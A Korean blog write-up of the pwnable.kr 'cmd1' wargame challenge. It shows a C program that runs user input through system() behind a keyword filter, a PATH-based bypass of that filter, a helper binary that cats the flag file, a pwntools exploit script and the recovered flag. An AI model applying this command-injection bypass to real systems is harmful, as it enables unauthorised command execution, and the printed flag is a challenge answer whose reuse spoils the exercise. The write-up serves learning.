#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
system 함수로 argv[1]을 실행시키지만, filter에서 flag, sh, tmp를 걸러낸다.
내가 파일을 쓸 수 있는 곳은 /tmp 안이므로 이것저것 걸러지더라.
Symbolic link를 사용해서도 cat을 해봤는데, 실제 실행될 때 flag 파일로 이름이 돌아가면서
제대로 되지 않았다.
putenv로 PATH를 준 것을 이용하기로 했고,
system("$PATH"); 를 전해주었는데, 충격적이게 욕이 나왔다...
thank가 fxxk(자체 심의)으로 바뀌었고 사실 PATH를 main에서 할당해줬는데
왜 바뀌었는지도 의문이다.
어쨌든 바뀐 파일 이름으로 실행파일을 하나 만들고, 실행파일에서 cat flag를 실행했다.
#include <stdio.h>
int main(){
system("/bin/cat /home/cmd1/flag");
}
해당 C코드가 실행파일 만든 소스코드
from pwn import *
argv_myste=['/home/cmd1/cmd1', '".$PATH"']
s = process(executable="/home/cmd1/cmd1", argv=argv_myste)
s.interactive()
해당 python 코드가 exploit 할 때 사용한 코드
그냥 ".\$PATH"로 줘도 되는데, 처음에 삽질하면서 만든 코드라 그냥 사용했다.
추가) 바이너리 파일에서는 그냥 putenv에서 fxxk으로 할당을 해주고 있다.
누가 소스코드를 바꿔놓은 듯 하다.
플래그가 다음 문제의 비번이므로 임시적으로 적어놓겠다.
mommy now I get what PATH environment is for :)
'Pwnable.kr' 카테고리의 다른 글
Pwnable.kr [uaf] (0) | 2019.05.03 |
---|---|
Pwnable.kr [cmd2] (0) | 2019.05.03 |
Pwnable.kr [lotto] (0) | 2019.05.02 |
Pwnable.kr [blackjack] (0) | 2019.05.01 |
Pwnable.kr [coin1] (0) | 2019.05.01 |